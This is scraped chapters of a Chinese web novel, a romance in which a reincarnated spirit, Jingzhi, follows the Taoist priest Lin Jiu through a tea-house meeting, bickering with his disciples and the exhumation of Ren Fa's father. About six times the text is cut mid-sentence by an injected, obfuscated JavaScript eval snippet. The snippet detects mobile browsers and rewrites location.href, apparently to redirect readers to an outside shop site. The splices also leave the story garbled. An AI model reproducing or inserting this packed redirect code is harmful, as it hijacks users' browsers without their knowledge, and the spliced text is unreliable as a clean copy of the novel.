此时,她在识海里不断呼喊着金童: 【静之:诶诶诶,小金啊,阿风不会在镜子外面看我吧?】 【金童:……倒是不会,你不回去,那个镜子是不会再次开启的,不过有个问题。】 【静之:什么问题?】 【金童:你跟他在每一世所经历的所有细节,在你脱离那世后,会变成他的实际记忆……也就是说,他现在已经获得了梁二娣这一百多年所有的记忆了。】 【静之:……嗯……这个……我怎么感觉不太妙的样子。】 镜子外: 林风紧紧捏着手中的朔源镜,两眼无神看了那黯淡的镜面许久,心情实在难以言表。 他又心疼静之的不易,又感念她对前世别扭自己的好,还要一边吃自己的飞醋,真的是…… 半晌,他转头看了看镜中的自己,此时此刻,他只觉得他头顶好像多了一顶叫梁二娣的绿帽。 所以……这到底算不算…出轨啊? 下一秒,他狠狠抽了一下自己的手,肠子都快悔青了: 叫你不收好东西,这下好了,她不知道要出几次…对象是他的轨…… …… 回到林九这儿。 不知不觉中,他们已经来到了茶餐厅。 刚走到门口,就被一穿着西化的侍从拦了下来。 “请问,有预约吗?” 林九愣住了,这茶餐厅是一留洋归来的老板近来新开的,他也没喝过外国茶,且以往镇上的茶楼只要进去坐下,就有小二麻利的端来茶水。 这里…竟是还要预约的吗? 文才亦然。 在新鲜事物面前,人总会习惯性的先退缩一步。 他紧紧揪着林九的袖子,把脸藏在他师父身后,生怕那侍从因他没见过世面的样子而瞧不起他。 “是任老爷请我们来的!” 静之来自90年代,对于预约制的茶餐厅,她倒是熟门熟路,甚至可以说比这看门的小子懂得还多。 她一脸淡定的样子,倒是真唬住了那侍从,于是恭恭敬敬地将三人引入厅内。 “诶,你真喝过啊?”文才小声问。 林九只多看了她一眼,文才倒是一脸讶异,眼里又含着几丝羡慕,随即头不动眼乱动,悄咪咪打量起了这个对他来说,显得有些富丽堂皇的地方。 “真的啦,别说话了,你看是不是那个人啊,他站起来了,啊,他朝我们拱手了!” 话音未落,林九收回眼神,跟着一拱手迎了上去:“任老爷!” “九叔,你来了!这位是……?” 任发讶异了两下,一是因她精致的容貌,二是因她异于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086529|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常人的白发。 听到问话,林九一下怔住了。 源于对抓错了人的一点愧疚,他倒是没有在众目睽睽之下,把她赶出去让她出丑。 只是……他如今倒是不知该怎么介绍她了。 毕竟,他知道的可能还没有文才了解的多。 “你好,我叫林静之,是九叔的……助手加私人跟班。” 静之落落大方的介绍自己,并向任发伸出纤长的右手。 林九因她的话眼皮跳了一下,任发倒是怔了两秒,他下意识轻轻握住她指尖摇晃两下。 握手礼,在这个时代并不多见。 大家最多也就拱拱手,再尊敬一点,鞠个躬,福个身子。 看来,这个叫林静之的,是个出去见过世面的人。 任发眼里瞬间消去对她皮肉上的浅薄惊艳,又迅速换上了一抹正视与尊重。 他正了脸色,将三人引入座。 空气一时安静,林九不善言辞,作为长者,却也不得不硬着头皮,扯着嘴角做出一副礼貌而不失疏离的笑容客套一下: “听说令千金从省城回来了,她没有跟你一起来吗?” 静之与他之间隔了个文才,但桌子是圆的,所以他脸上微微不自然的表情倒是被她看得清清楚楚。 她嘴角微勾,这林九,估计也是随意扯了个话题,他不甚自在的样子,倒是有些可爱。 那任老爷估计也是这么想的,他只跟林九话了两句家常,便将话引入正题。 “九叔,这次移墓的事儿……哦,她来了!”话说到一半,他突然微微抬起屁股朝门口看去,满脸皆是他对这个女儿的自豪。 本小 章还未完,请点击下一页继续阅读后面精彩内容! 第75章 风水轮流转 婷婷一脸坚定:“如果有可能,我肯定要学到八十岁。” 她又摇了摇静之的胳膊说:“你是个姑娘家,你也要一起学。” 静之对化妆实在没兴趣,她讪笑一下,刚要婉拒,秋生却惊得直起了身子: “什么?!你还要教给她?” 说着,他又以一种“原来是个未来的失足少女,当真可惜”的眼神看着静之,还不时摇摇头,叹口气,看得静之拳头梆硬。 话说,她怎么觉得眼前这个小哥的声音有点熟悉,好像在哪里听过一样…… 秋生一副不敢苟同的样子,又开始靠着柜台斜斜站着,暗暗朝婷婷翻了个白眼说: “这事儿你还是自己做就好了,别教坏别人。” 静之不好拂了小姑娘的面子,她瞪了一眼秋生,又看了两眼脸色不太好的婷婷,有些左右为难: “不至于教坏吧,我就是…不太喜欢那事儿而已。” 秋生:得,还是个x冷淡,上天有好生之德,他总算是救回来一个。 他迅速夺过婷婷手中的胭脂盒,一脸不耐烦的说: “今天不做你的生意了,你还是回对面去吧。” 就在二人摸不着头脑,想朝外头看看他说的对面是什么的时候,店门被推开,一个熟悉的人挡了二人的视线走了过来。 “呦!文才,你怎么有空来我这儿?” 静之还未开口,秋生便先一步与文才打了声招呼。 “你们……认识?” “何止认识,他是我师兄!” 文才的眼神略过秋生,不由自主地又落到婷婷脸上,却见她郁郁寡欢的样子, 他当即便凑了过去: “婷婷,你怎么生气了?静之,发生什么事啊?” 见文才好似认识这两人的样子,秋生瞬间变了脸色。 他快步绕出柜台,凑到文才耳边低声问道:“你认识她们?” 文才被秋生紧张兮兮的一爪子捏得有些痛,他不适地动了动肩膀,老老实实地说: “穿粉色衣服的,是任老爷的千金,任婷婷,穿白色衣服的,是昨晚师父收的女G——” 话未说完,静之便瞪了他一眼:“文才!”,她又暗暗朝文才使了个眼色,悄悄指了指身侧的婷婷。 文才瞬间捂嘴,默默摇摇头。 婷婷要是知道静之是只猫妖,不得一蹦三尺高。 算了,他还是不说了。 他闭嘴了,婷婷倒是有话了,她好奇地朝对面看了看,待看清招牌后,她一脸疑惑的回头问:“怡红院是什么地方?” “是妓——” 文才的嘴被秋生死死捂住,秋生讪笑了一下说:“是酒楼。” 怡,怡红院?! 听到这三个字,静之哪里还能不明白他刚刚态度的转变。 原来,这臭小子竟是将她们二人认成妓女了吗? 他这眼神,倒是跟他师父有的一拼。 静之咬了咬后槽牙,刚想骂人,身边的婷婷却看到对面的姑娘拦了当街的男人亲热走进楼里。 电光石火间,她悟了。 “啪!” 秋生捂着肿起的脸,一脸无措的说:“小姐我……” 婷婷放下火辣辣的手掌,涨红了脸,朝静之快速辞别,便冷着脸冲了出去。 看到静之转向他,秋生下意识赶紧捂住另外一边脸,又拿胳膊挡在身前。 “啧,我不打你,下次麻烦问问清楚,她这一巴掌,算是给你个教训。” 说罢,静之转头问文才:“你师父呢?还没谈完吗?” 边说着,她又踮起脚尖,朝门外来来往往的人群里张望。 这时,秋生又扯了扯文才的袖子问:“她是谁,你还没说呢。” 就在这时,看到出现在街头那道挺立的身影,静之眼前一亮,急急急忙追了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086530|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 …… “跟着我干什么?” 林九皱着眉头,脸上满是无奈。 刚刚她暗中帮了他一次,这让他心里多少有些过意不去,此刻竟是不好意思直接开口把她给赶走了。 静之撇了撇嘴,调皮地学着林九走路时的模样,双手背在身后,大踏步地向前走去。 一边走着,还边模仿二娣之前朝她放电的姿态,朝林九抛了个媚眼,甚至还夹了一下嗓子娇娇地嗔他一句: “路又不是你家的~我想走哪里,就走哪里~” “……” 她的嗓子昨晚哭久了本就有些沙哑,嗓子一夹,多了几分怪异和搞笑。 然而林九感情方面一片空白,他还是头一遭被一个女人这样对待。 故而,尽管静之眼神和动作生涩,他还是不禁打了一个哆嗦。 只觉得浑身鸡皮疙瘩掉了一地,僵住几秒,深吸一口气后,迅速地往旁边横跨了两大步。 再也不敢多看静之一眼,然后便自顾自地加快脚步,朝着秋生姑妈的店铺匆匆赶去。 还未过马路,便看到他两个徒弟在店对面的怡红院门口打闹,文才那小子,居然还学鸡的样子,扇了两下胳膊。 林九捏了捏眉心,不知是否一宿没睡好,此刻他只觉得头疼得厉害,俩 徒弟的举动更是如火上浇油一般,惹得他额头青筋直跳。 他快步上前,猛拍了一下文才后脑勺,提溜着他的衣领,赶紧远离这烟花之地。 期间他的眼神一直看向地面,完全不敢去瞧那门口穿着暴露的几位姑娘。 一直跟在他后面的静之,眼睛死死盯在他有些发红的耳垂上,暗自轻笑了一下。 心里不由感叹: 我拿前世你对付我的招数,来对付后世的你,这回…看你该怎么办…… 呵,风水,这不就转到他自个儿头上了嘛…… 第76章 重新出发 两天后。 “欸,你是不是喜欢我师父呀?” 秋生突然伸出一张大脸凑到静之面前,脸上满是好奇和八卦的神情。 这突如其来的发问让静之一愣,一时之间竟不知该如何回答。 这个问题,现在已经不是一句简单的喜欢,就能够解释得清楚的了。 对于林九,她内心的感受极其复杂。 而且,此时她的心里满满都是他的前世,自她消失又回到他身边后,几十年来,二娣对她极好,是恨不得把她拴在裤腰带上带着,含在嘴里都怕化了的程度。 只不过,每每看到林九那一本正经的样子,她就忍不住凑上去逗他几句,想看看他板着的脸露出龟裂的表情。 所以,在她的潜意识深处,总觉得若是将自己心底对二娣那份深厚的情感直接投射到林九身上的话,无论是对林九本人,还是已经逝去的二娣,都是一种极大的不公平。 这种纠结的心情,如同乱麻般缠绕在她心头,让她难以理清思绪。 …… 所以,每每逗林九一下,他还没来得及变脸呢,她自己就得先垂着头抑郁一会儿。 她那副精神分裂的样子,搞得林九说也不是,骂又骂不出口,于是两人就这么僵持了两天。 想到这,静之侧过头悠悠看了那正在锻炼的林九一眼,小声地说: “我也不知道该怎么说,你就当是这样吧。” 听到她不明不白的回答,秋生嬉笑的表情顿时僵在脸上,他突然坐直身子,十分认真地对静之说: “不管你想怎么样,请不要伤害到我师父。” 跟秋生处了两天,静之也了解了一点他的性子,身手好,但是调皮好动,每每都能把他师父气个半死,现在他露出这副表情,倒是让静之有些惊讶。 “不会的,我永远都不会伤害他的,你放心。” 说罢,她卸下脸上十分郑重的神情,又似笑非笑地看着秋生说: “倒是你,你这两天可没少气你师父,反倒说起我来了。” 见她不似说假话,秋生松了口气的同时,又摸了摸后脖颈,眼珠子转了好几圈,终是选择倒打一耙: “我靠,你不也是一样! 每天晚上都撵着我师父到处跑,我好不容易回来睡两天,你都把他撵到我床上睡了,挤死了!” 静之悻悻,她卷着一缕胸前的头发,别过脸去,张合着嘴小声嘀咕着什么,秋生禁不住好奇心将耳朵凑了过去。 凑到一半,一只大手扭住他的耳朵猛地就往上提。 “诶诶诶,师父,痛痛痛!” 林九将秋生的重脑袋提远几步,才放开他,沉声问道: “凑这么近干什么,文才呢?” 秋生揉着发红的耳朵,撅着嘴瞧冷着脸的林九一眼,又指了指门外说: “你不是说师叔要经过我们这里吗,他出去接一下嘛。” 林九那本就生得极近的剑眉,此时蹙得几乎连成一线。 这个文才,跟他学了这么久,连赶尸是在夜间赶的这种事儿都记不清了吗? 这会儿出去能接到人才有鬼。 他深深地叹了口气。 刚转回头,就看到秋生不知何时又蹲在了那里,与侧身坐在亭边的静之脑袋凑在一起,正嘀嘀咕咕地说着小话。 看到这一幕,他的眉心猛地一跳,心中不禁涌起一股无名火: “你看看你师弟,都晓得去接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086531|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了,你还杵在这,还不快去做晚饭。” 他想了想,又补充道:“记得多做一些,你师叔的饭量可大得很!” 话音刚落,秋生只听得身后一阵破空之声骤然响起。 他反应极其迅速,一个敏捷的后空翻,躲开了林九踹过来的一脚。 随后,他像一只灵活的猴子一般,快速躲到了一根粗壮的柱子后面。 嘴里应了一声“哦”之后,便脚下生风,朝着侧方的厨房冲了过去。 就在这时,静之眼疾手快,一把紧紧捏住了林九那只差几寸就要踹到她脸上的脚踝。 她神色淡然,指了指天边的晚霞,轻声说道: “今天天气这么好,何必如此暴躁嘛......” 然而,她很快就发现情况有些不对劲。 只见林九的嘴巴越抿越紧,手中的脚踝乃至他的脚尖都绷得紧紧的,甚至从他身侧还传来了一阵似有若无的嘎嘣声。 静之瞬间感觉头皮发麻,心道不妙,赶忙松开手,她蹭的一下站了起来,二话不说,直直奔向厨房,一边跑一边喊道: “我也去帮忙!” “……” 林九动了动被她捏住了几秒的脚踝,只觉得那一圈皮肉,烫得有些惊人,他另外一只脚忍不住别过去蹭了蹭,直到把自己蹭得皮肤生疼了,他才松了口气,停了下来。 学道之人,耳聪目明。 她刚刚说的“就算是吧”以及那句笃定的“永远不会伤害他”犹如魔音一般,还萦绕在他的脑海里。 害羞,说没有的话,是骗人的。 但更多的是迷茫与不解。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第77章 我管不了你 可能是想通了,静之一扫之前的郁色,她吐了吐舌头,又笑着道了声抱歉。 桌子上突然一片寂静,四目瞧了静之一眼,又向林九投去疑问的眼神,结果林九默默地捧着一碗半焦不焦的饭吃着,不见嫌弃,也不见喜欢,神色不明。 于是他又将目光投向林九旁边的秋生。 刚刚秋生可是把静之与林九之间那点儿事都跟他说了,他的八卦之心可谓是蠢蠢欲动,眼神不住地在林九和静之之间流转。 秋生耸耸肩,瞧着笑意渐渐凝固在嘴角的静之,他忍不住出声打个圆场: “哎呀,火大了也是常有的事嘛,吃菜,我就是打个下手,菜也是静之做的,我尝过了,味道很好啊。” 文才夹了一筷子菜,本想浅尝一口,安慰安慰情绪突然又down下来的静之,结果刚一入口嚼没两下,眼睛突然亮了起来。 “好,好吃!” 四目一脸怀疑,毕竟他手里的饭可还夹着烧焦的米粒呢。 他有些犹豫的夹了一筷子菜,又跟食堂阿姨似的哆嗦着手腕,等到筷子上只剩下一小根四季豆,才视死如归似的,将菜投入嘴里。 没嚼几下,他紧闭的双眼突然睁开,话也不说了,伸筷子的速度都快了不少。 结果,四菜一汤,被他们四个大男人几乎干了大半,林九口腹之欲倒是没有那么强烈,但也比平时多用了半碗饭,尽管那饭是焦的。 静之捧着碗,有一搭没一搭吃着,眼角瞥见他不住伸筷子的动作,嘴角的笑意又慢慢回归。 饭后,四目挺着微微凸出的肚子,一脸满足的说: “啊,真好吃,你们是不知道,我这趟走的都是山路,梆硬的馒头饼子都要吃吐了。” 静之笑了笑:“你喜欢吃的话,可以多过来这里,我再做给你吃。” 四目点了点头,又隐晦的看了一眼正慢悠悠喝汤的林九,这才起身走到他常宿的那间客房前。 刚推开门,又突然转头朝林九说: “师兄,等会半夜我还要把尸体赶到其他镇,我先去睡会啦。” “去吧。” 脚刚跨入门槛,四目又回头朝秋生和文才仔细交代: “我那些客户,记得帮我上香,还有长明灯要帮我看好,灯油没有记得加,千万别熄灭了。” 秋生有些不耐烦,他随意扬了扬手说: “知道啦知道啦,师叔,每次来你就得说一遍,我耳朵都快长茧子了,快去睡快去睡!” 四目一梗,朝他翻了个白眼:“知道就好。” …… 饭后,秋生文才揽下了收拾碗筷的活计,林九则如往常一般,吃饱了就去书房看会儿书。 静之乐得轻松,在凉亭上吹了一会儿风,刚打了一会儿的坐,耳边就听到文才从厨房走出来的声音,却是不见秋生。 “你师兄回去他姑妈那儿了?” 文才摇摇头:“不知道,刚刚洗完碗他人就不见了。” 他想了想又说:“你要不要一起去看看我师叔的客户?” 他想着,总有一天,她应该要习惯这些东西的,趁此机会让她多看看,开开眼界也好。 “好啊,走吧。” 静之站起身,脚下一点,眨眼间便落到文才跟前,给他吓得后退两步。 “你可真快,那怎么还会被我师父抓住?” “……废话少说,走不走?” 要不是那只僵尸追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086532|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她一路,以及她对他的不设防,她才不会那么简单被他收了呢。 “……走。” …… “……你确定他们真的不会半夜突然动起来?” 静之看着香炉后,那一溜儿穿着棺袍,额头贴着黄符的僵尸,不由后退了两步。 倒也不是怕,主要是打不死,还容易缠上她,烦死个人。 这时,一阵夜风从门口轻轻吹了进来,他们额头上的黄符轻轻飘动着,露出了这些尸体惨白阴森的脸和发紫的嘴唇。 静之下意识快走两步,赶紧将门合上。 他们头顶上的符纸倒是跟阿风当时定住她的符纸差不多,作用应该是一样的,可千万不能被风吹掉了。 就在这时,文才拿了一大把香过来分给她: “呐,帮帮忙,每个棺材侧面摆着的香炉各插三根,早做完早收工啦。” 静之接过香,默默打量着这房间左侧那十几副棺材,她有些好奇的问道: “这些尸体就一直放在这儿吗?” 文才给他师叔的十几个客户插了一大把香,说了句“兄弟们吃饭了”,这才回头与她慢慢解释: “当然不是啦,有些人家觉得去世的亲人放家里太晦气,就会放到我们这里来,等过了头七,会自己将尸体来领走的。 咱们呢,就领些保管尸体的费用,届时不管他们是要把亲人土葬还是火葬,就不关我们的事儿了……不过也有例外就是啦。” 静之越插越熟练,不到一会儿就来到一具稍显破烂的棺材前。 “什么例外?” 文才转头一看,指了指她身前那棺材说: 这章没有结束,请点击下一页继续阅读! 第78章 偷偷摸摸 昨晚下了大半夜的雨,此时空气里仍带着一股水汽,还夹杂着一股泥土的芬芳。 静之觉得,比九十年代下雨时,城市里处处散发出的柏油味和水泥味好闻多了,抑郁了半宿的心情突然变好。 昨晚问了文才,才知道今天一早要去山上帮任老爷起坟。 她起得很早,也可以说根本没睡,秋生给她收拾了间屋子出来,她就在里面打坐了一宿,直到听到外面路过的沉稳脚步声时,她才缓缓吐出一口浊气,引那一缕好不容易吸收入体的灵气进丹田后,才慢慢睁开眼睛。 坐了一夜,身上的衣裙皱皱巴巴的,她入这个时空以来,还没来得及去买衣服,身上穿的依旧还是那一件,索性她已学会了林风教她的简便除尘术。 一个响指,身上衣服洁白如新,褶皱瞬间消失。 体内灵力又少了一丢丢,她叹了口气,穿好鞋子,走到门前,“吱呀”一声,将门打开。 空气中依稀笼着一层薄雾,她却依旧可以看到不远处那个正在晨练的人,着一身白色褂子,并一条灰褐色裤子。 静之想,他这白色褂子就跟世代祖传的一样,林风,二娣,乃至现在眼前的这人,都钟情于这样穿,还不爱扣第一颗纽扣。 静之视线穿透薄雾,直直落在他凸起的喉结上,不过只看了几秒,那喉结便上下滑动了一下。 承诺远离他的念头,不知道为什么一下子窜入脑海里,她快速挪开视线,大大伸了个懒腰,朝厨房走去。 毕竟,爱暂时没有,生活还是要继续的不是。 林九的出拳愈发缓慢,随着拳头走向,他的眼角余光不自觉的瞟了那个隐入雾中的身影一眼,只一眼,便淡淡收回视线,手上的动作又渐渐快了起来。 …… “哈~”秋生打了个哈欠,用脚抵开另一扇掩着的厨房门,眼前却突然出现坐在灶前灭火的静之。 她拿着火钳子将灶里开始发灰的木炭拨弄开些,火星子有些飘扬到外头来,顷刻间便被空气中的湿意湮灭。 “起这么早啊。”秋生快步走了过来,拿了抹布将那木头锅盖一把掀开。 浓浓的水蒸气瞬间扑面而来,秋生瞪大了眼睛,看着锅里热着的四碗汤面,汤头澄澈微黄,面上卧着几根绿油油的青菜并一颗煎得焦香的鸡蛋。 他忍不住咕咚一声,咽了口口水,又默默转头看那个正不断挥手,扬去水蒸气的女人,“你是起多早,这都做完了?” 面上被温热的水汽蒸的有些湿润,静之索性站起身子,拿了托盘递给秋生说: “管这么多,吃还堵不上你的嘴,端出去吧。” “嘿嘿,这就来了!” …… “诶,面很容易烂的,你怎么知道我们什么时候起床?” 文才已经吃到头都昂不起来了,秋生则边吸溜着依旧劲道的面条,边拿眼神投向静之。 静之不着痕迹瞄了对面正吹去热气,浅酌一口面汤的林九。 他还是这样呢,吃饭慢条斯理的。 她现在学会了,盯人不过三秒,她便匆匆移开视线说: “这几天你们都是这个点儿起的,我掐着时间做的,今天有些冷,所以我便又放锅里热了一会儿。” “静之姐可真贤惠,哦~” 这个哦,秋生忍不住把头伸向他旁边的林九,却又一把被林九瞪了回来。 他暗暗啧了一声,心里不住腹诽,他师父就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086533|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样,才会一直到现在都找不到老婆。 “在心里骂我?”林九瞥他一眼。 “没有没有!吃吃吃,我爱吃面,饿死了饿死了!” 秋生恨不得把脸埋进碗里,快速吃了起来。 一碗热气腾腾的面下肚,两人同时舒了一口气,周身瞬间暖和起来。 秋生说了句慢慢吃,便与文才收拾碗筷进屋,静之一个转身离开饭桌,坐到凉亭一角,撑着脸,看着凉亭外的池塘不知道在想什么。 林九吃了大半碗,筷尖突然杵到个东西,他垂眼默默挑开那几根面条。 啧。 他碗底竟还偷偷卧了颗溏心蛋。 他瞧了一眼离他远远的那个背影,心下情绪莫名,不过几秒,那点情绪便被等会要做的正事盖过。 他没有浪费食物的习惯,默默把鸡蛋吃了,汤也喝了个精光,这才起身去了屋里收拾行头。 众所周知,溏心蛋,会流黄。 秋生出来收碗,看着碗底那一点蛋黄,他一屁股坐到桌上,一个转身,把脸凑到静之跟前,一脸揶揄地说: “你偷偷给师父加菜啊?” 静之朝他踹了一脚,却被他一个跳脚躲过,她没好气地朝他翻了个白眼,干脆趴在椅背上,眼神直直地看着那朵外圈花瓣有些枯萎了的荷花。 快秋天了吧,她想。 她抿了下嘴,斜了一脸八卦的秋生一眼: “关你屁事,还不去洗碗,出门时间要到了,宁愿早点去,也别让客户等,快点!” 秋生嘟着嘴边嘀咕着真像师父,边快速躲过静之的又一脚,嬉笑着朝厨房奔去。 这章没有结束,请点击下一页继续阅读! 第79章 人性之复杂 果然,那阿威没跟过来了,瞧着他正在身后不远处,被文才和秋生两个人左一只虫子,右一颗石头作弄着,静之暗暗一笑,将视线收回转到林九跟任发身上。 却见婷婷他爹此时不知道为啥,突然面露尴尬,而林九正凑到他耳朵旁说什么威逼。 她有些好奇,刚凑过去一听,便听到林九说那风水先生跟任发有仇。 有仇? 静之突然手腕一紧,低头一看,婷婷正死死掐着她的手腕。 “怎么回事?” “我也不知道,我爹没跟我说过,他只说这二十几年生意越来越不好,所以要迁个坟——哎呦!” 静之对突然撞上来的阿威怒目相视: “推什么?” 阿威看了看身后贴住的秋生,还有追上来的文才,气得咬牙切齿。 “是他们——” “阿威!”任发刚唤一声,阿威就跟听话的狗一样,对婷婷讪笑了一下,说了句抱歉,便屁颠屁颠一路小跑跟在任发后头去了。 静之狐疑地打量了他一眼。 两眼浑浊,笑容淫荡,脚步虚浮,虽长得高,但是四肢绵软,一点武力值也无,这样的人,是怎么当上保安队队长的? 静之看了看周围正四处巡逻,拿着枪的几个小兵,她转回头压低声音问: “婷婷,他怎么那么听你爹的话啊?” 这年头,不都有枪的是老大吗? 秋生对她扬了扬下巴,又搓了搓大拇指跟食指,“哎呀,当然是这个喽!” 文才更直,他突然啊了一声,大声说:“我知道了,是贿——唔!”话刚说到一半,秋生死死捂住他的嘴,又朝婷婷干笑了几声。 婷婷将被风吹乱了的刘海轻轻掖到耳后,朝他爹跟那个亦步亦趋的狗腿子看了一眼,有些不好意思地说: “不用顾忌我,义庄不在镇里,既然连你们都知道了,我想镇上应该都传遍了吧,他是我表哥,我爹确实……“资助”过他。” 静之和秋生文才一时僵住,不知道该怎么回答她。 就在这时,身后突然传来一声惊呼。 “九叔,看到了!” 四人纷纷回头望去,只见那被踢倒的墓碑后,出现了一个带着泥土的棺材。 那侧面呈梅花瓣型,果然是竖着葬的。 静之走了过去,拨开人群,刚想凑近些看看,一道广袖突然挡在她身前。 一低沉的声音传入她的耳蜗:“边上泥土被撅过,小心滑进去。” 静之恍若未闻,随着阵阵微风,他的袖口一下一下打开她的身上。 鼻尖轻动,隔了一世,她又闻到了那股熟悉的檀香味,呼吸开始变得急促,心绪一阵起伏。 她不禁抬眼望去,却见他斜过来的眼里,仅有一点对普通人的关心。 犹如被浇了一盆凉水,她急促跳动的心,迅速缓和了下来。 静之后退几步,轻轻颔首,说了声好。 她垂着眸子,掩住情绪,淡淡地看着壮丁嘿咻嘿咻的将棺木用吊轮吊了起来。 待到那棺木被横放在一边,她的心跳已然平稳,甚至比平时还慢了两拍。 林九莫名看了她一眼,这才扬声朝身后的众人说: “各位,今天是任公威勇重见天日,凡年龄三十六,二十二,三十五及四十八,属鸡,属牛者,一率转身回避。” 话音刚落,静之面前的人群三三两两转过去不少,此时,她正在心里默默算着自己的年龄。 不知道153岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086534|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要转过去的说…… 罢了。 她的年纪估计都比任发他爹大个好几轮了,转个屁,她不转。 “松绳,起钉!” 随着林九一声令下,几个壮汉闻言行事。 随着咯吱一声轻响,棺木中突然翻涌出一股黑气。 就在此时,远处的丛林里,仿佛被什么大型猛兽惊扰到,骤然飞出了数只黑鸦。 那诡异的嘎嘎鸟叫,不禁让阳光下的众人脊背发凉。 “阿九,他的手指……” “……” 林九叹了口气,想说回去再纠正她的称呼好了。 刚探头朝棺里一看,他的脸色立马肃了下来。 只见任发他爹枯而不腐,放在腹部的两只手,十指指甲暗沉发紫,已然长出老长一截,紧闭的唇间,依稀可以看到凸出的两颗獠牙。 这是僵尸化的前奏啊,林九想。 就在这时,任发跟婷婷双双跪下,婷婷目露哀切,粉面垂珠,那任发却是突然哀嚎起来: “都怪孩儿不孝,惊扰了您老人家。” 说罢,他快速起身,凑到林九身边,急切地说:“九叔,这穴还能不能用啊?” 静之有些咋舌: 果然是商人重利…轻别离啊,眼泪说收就收。 她默默走上前去,搀起还跪在地上默默垂泪的婷婷。 心道,歹竹嘛,有时候也能出根水灵灵的好笋。 “蜻蜓点水,一点再点,肯定是没用的了。” “那怎么办?” 林九瞅着那尸体还不断散发出的股股黑气,心渐渐沉了下来:“我提议,就 地火化。” 这章没有结束,请点击下一页继续阅读! 第80章 关系起起伏伏 她问:“烧成这样会如何?” 林九下意识回答: “你背后之人没教你吗?” “…………” 静之极为复杂的看了他一眼,林九看不懂那个眼神,耳边只听到她冷哼了一声。 那一声,竟让他生出几分无措。 然而话已出口,便再难收回。 正当两人僵持的时候,秋生似乎是看出点什么,赶紧又问了一遍: “师父,烧成这样会怎么样?” 林九后退一步,绕过她缓缓将香放在桌案上,才慢慢说着: “家中出此香,肯定有人丧。” 文才慌了:“那,那婷婷她怎么办…师父,想想办法吧!” 静之不由也跟着蹙起了眉头,婷婷在她看来,跟孙子辈的那些女娃娃没什么两样,她实在不忍心看着她出事。 于是,她忍不住也出声问了一句: “阿九,有什么办法可以避免的吗?” 林九抿了抿唇,扯过静之的袖子到棺椁一角,轻咳了一声,压低声音说着: “别叫我阿九,我不想让人家误会。” 本以为他开了窍,终于愿意接近她的静之,笑意突然凝在脸上。 过了几秒,她才用了点力拂去他的袖子,冷冷地说: “……我知道了,那我同他人一般,叫你…九叔好了。” “……好。” 见他竟然直愣愣的应下了,静之一梗,快走几步,面向墙角,突然自闭。 文才看呆了,过去扯了扯她的衣角,小声嘀咕了两句什么,林九只听到静之淡淡的叹息一声,说了句我去做饭,便转身出去了。 